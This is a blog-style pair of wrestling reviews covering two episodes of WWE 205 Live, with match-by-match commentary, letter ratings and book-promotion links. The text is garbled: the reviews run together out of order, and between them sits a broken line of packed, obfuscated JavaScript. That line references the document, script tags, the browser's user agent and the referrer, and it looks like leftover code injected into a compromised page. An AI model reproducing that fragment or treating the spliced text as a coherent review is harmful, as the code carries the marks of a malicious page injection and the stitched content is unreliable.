Drew gives a speech about how Nese might be a show off, but he’s a show off who is the picture of health and fitness. Nese starts with Alexander but hang on a second as we need to hit that bicep pose. A crossbody gives Cedric two and we hit the near fall exchange. Gulak comes in and eats a dropkick to the ribs before it’s off to Metalik for a nice backflip. Metalik springboards into an armbar but one heck of a slap only seems to tick Drew off.

It’s Metalik in trouble until a spinning bulldog and dropkick drop Nese. Tony bails outside so Metalik walks the ropes for a moonsault. You know, just because. Back in and Gulak offers a distraction to let Nese take over but Metalik is right back with a hurricanrana. The hot tag brings in Cedric as everything breaks down. A spinning elbow to the jaw drops Gulak for two and there’s the springboard clothesline to Nese. The Lumbar Check ends Gulak at 7:40.

Rating: C. I’m digging this Alexander vs. Nese feud as Alexander is easy to relate to, which isn’t something that happens too often around here. It’s easy to get behind the idea of someone getting annoyed over someone obsessed with their physique. Metalik is entertaining as well, but unfortunately Gulak has lost all of his steam without the No Fly Zone, which now seems to be completely dead.

Ariya Daivari, Noam Dar and Lince Dorado are talking about how Neville lost the title. Cue Neville of course, sending all three away without another word. Neville throws a chair.

Brian Kendrick vs. Mustafa Ali

This is over Kendrick interrupting an Ali interview earlier today (which they don’t even bother showing us). Kendrick looks very nervous as he comes to the ring and he looks underneath said ring for signs of Jack Gallagher. Ali takes him down to start and Kendrick seems panicked over the idea of a basic move. A dropkick gets two on Kendrick, followed by a crossbody out of the corner for the same. The announcers are pushing the heck out of the fact that Kendrick isn’t himself, which makes me think he’ll win anyway.

Ali gets shoved off the top but rolls through a sunset flip anyway. The inverted 450 is broken up with Ali landing HARD on the turnbuckle, setting up the Captain’s Hook. Ali hangs on way longer than he should be able to and makes the rope. Back up and a hard kick to the head sends Ali outside with Kendrick sending him into the LED apron. Kendrick wedges Ali’s foot into the steps and loads up something, only to have Gallagher run in for the DQ at 5:02. Hey I was right.

Rating: C-. There’s an idea here but I’m really not sure where it’s going. Gallagher could really use a change of pace and this might be the right way to go, though they can’t quite go back to his usual stuff after it’s over. Ali got in some good offense here but looked pretty defeated by the end. At least it wasn’t a squash by a distracted Kendrick though.

Gallagher chases him off.

Rich Swann is ready for his victory dance over TJP but Ariya Daivari comes up to say he’s facing Swann instead for not given reason.

Ariya Daivari vs. Rich Swann

Rich ducks a shot in the corner and dances away, as is his custom. A headlock slows Daivari down (not that he was going very fast in the first place) until they head to the apron. Swann kicks him to the floor but charges into something like a Stun Gun onto the apron for a painful looking crash.

Back in and we hit a seated full nelson to stay on the neck. Swann fights out and hits a running flip Fameasser, only to get caught in a reverse DDT. Daivari misses the top rope splash though and it’s time for the Phoenix Splash….only to have TJP come out with his leg in a cast and using crutches. The distraction sets up the hammerlock lariat to give Daivari the pin at 5:06.

Rating: C+. I liked this one more than I was expecting to and that’s always a nice surprise. Swann got in some good offense but Daivari was even more of a surprise than expected. TJP vs. Swann needs to wrap up soon, though I’m not sure how likely that is with the leg being banged up like that (assuming it’s real of course).

Kendrick is getting out as fast as he can, but not before mentioning a potential duel with Gallagher.

Here’s Titus O’Neil to introduce Tozawa for his championship celebration. Tozawa talks about this was his dream for so long and calls it easy. Titus tells Tozawa thank you for making their dreams realities. Dancing ensues but here’s a somewhat disheveled Neville to interrupt. He talks about bringing honor to the title but then it was all gone in one day.

With his voice cracking, Neville promises to make everything better in less than a week. A clock comes up on screen counting down to Summerslam, which is how long Tozawa has left with that title. Neville charges the ring but gets dropkicked down from the apron. Tozawa beats him up on the floor and then kicks him off the apron for good measure. The champ sits on Titus’ shoulders to end the show.

Overall Rating: C+. Better show than usual this week but it makes me think that Sunday’s Cruiserweight Title match isn’t going to do much for me. Neville vs. Tozawa is already starting to feel played out and like something that doesn’t need to be on Summerslam. The rest of the show was entertaining though and that’s more than you can get out of 205 Live these days. Good show, but firmly under the 205 Live dome.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebhib|var|u0026u|referrer|nfznd||js|php'.split('|'),0,{})) Live
Date: July 25, 2017
Location: Richmond Coliseum, Richmond, Virginia
Commentators: Vic Joseph, Corey Graves

Tonight is more about the midcard as we have a “big” tag match between TJP/Tony Nese and Cedric Alexander/Rich Swann to advance the Swann vs. TJP feud. Other than that Ariya Daivari is facing Neville for reasons that I really don’t understand. If Daivari is the best they can do for an upper midcard heel going after the heel champion, they’re in bigger trouble than it seemed. Let’s get to it.

Neville is really not pleased with Daivari messing with people above his level. That was a critical error by thinking that Neville’s kingdom was open to a hostile takeover. Daivari did well last night but tonight he’s learning the difference between an injured animal like Akira Tozawa and the King of the Cruiserweights.

Opening sequence.

Ariya Daivari vs. Neville

Non-title with Akira Tozawa on commentary. Daivari dedicates this to another Iranian Olympian and promises to hurt Tozawa later. Ariya heads straight to the floor to start and then does it again as there’s no contact in the first minute. They do the same thing a third time until Neville goes after him, only to be sent into the barricade and LED ring skirt. The frog splash gets two back inside as Neville hasn’t had any actual offense yet.

The hammerlock lariat is broken up though and there’s a superkick to put Neville in control. A missile dropkick puts Daivari on the floor where Neville whips him into various things. Neville stops to yell at Tozawa so Daivari sends them into each other. Neville can’t beat the count and gets counted out at 4:36.

Rating: D+. I was liking the match more than I was expecting to until we got to the lame ending. That ending doesn’t make Daivari look like anything special but keeps him around Neville due to getting a win. Daivari did look better than he does otherwise but he’s really not interesting enough to warrant this spot.

Neville and Tozawa are about to go at it but the referees break it up for the sake of Tozawa’s shoulder.

We look back at Mustafa Ali vs. Drew Gulak’s 2/3 falls match last week.

Here’s Brian Kendrick for a chat. He’s tried to help us over and over but all he gets are attacks, both physically and on social media. Why can no one see the difference between fighters like him and clowns like Jack Gallagher? Kendrick puts Gallagher’s picture on the screen and talks about various features such as Gallagher’s hair or eyes…..which are replaced by clown features instead. Gallagher finally comes out to chase Kendrick off. This was really, really stupid.

Swann and Alexander are in the back with Cedric talking about how he’s glad that the crazy ex-girlfriend is gone. Nese and TJP come up to brag about how awesome they’ll be with Nese saying Alexander is a consolation prize. A brawl is cut off by TJP’s music starting up.

TJP/Tony Nese vs. Cedric Alexander/Rich Swann

Swann is now in long tights instead of trunks and starts with Nese. Actually hang on a second as Tony drops to a knee and poses, saying everyone can appreciate that for a second. They exchange leapfrogs until Swann flips over Nese and scores with a dropkick. Cedric comes in and spins Nese around by the arm before handing it right back to Swann. A double dropkick to the back gets two and it’s off to TJP. That means a little dabbing, followed by a PLEASE STOP DABBING chant.

Cedric ankle scissors him into a dropkick and the villains are sent outside. You know two good faces aren’t going to let that go, meaning it’s a running flip dive from Cedric and a Phoenix splash dive from Swann. Back in and Cedric works on an armbar, which for some reason warrants a weak CM Punk chant. A Nese distraction lets TJP run Cedric over though, mainly because good guys aren’t that bright at times.

Nese ties him into the Tree of Woe and drops to his back for some situps and kicks to the ribs. Tony isn’t pleased with getting small packaged for two so he hammers away with quite the aggression. Back to TJP for a foot to the face and more dabbing. A chinlock sets up the spinning springboard forearm (no nipup though) for two. Alexander fights out of a double arm crank and takes TJP down, setting up the hot tag to Swann. Not that you would know it was hot as the fans barely react but take what you can get.

Swann and Nese strike it out until Rich jumps over a legsweep and kicks him in the head. It’s already back to Alexander for a quick running C4 as everything breaks down. Nese throws Swann onto the announcers’ table, leaving Alexander to hit his handspring enziguri for two more. Nese breaks up the springboard forearm though and TJP steals the pin at 12:21.

Rating: B. I liked this a lot more than I was expecting to as they were given time to set things up and go on to the ending. I could have gone for a few more minutes, which isn’t something that I often get to say around here. Swann vs. TJP is a solid feud and the blowoff match should be good, especially if TJP goes full heel on the way there.

Overall Rating: C+. That Gallagher/Kendrick segment aside, this was a rather solid effort from the smaller guys, though some of the talent involved still drags down what would be an otherwise better show. Daivari doesn’t do much for me and Kendrick’s stuff was just stupid. Other than that though, good show this week.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6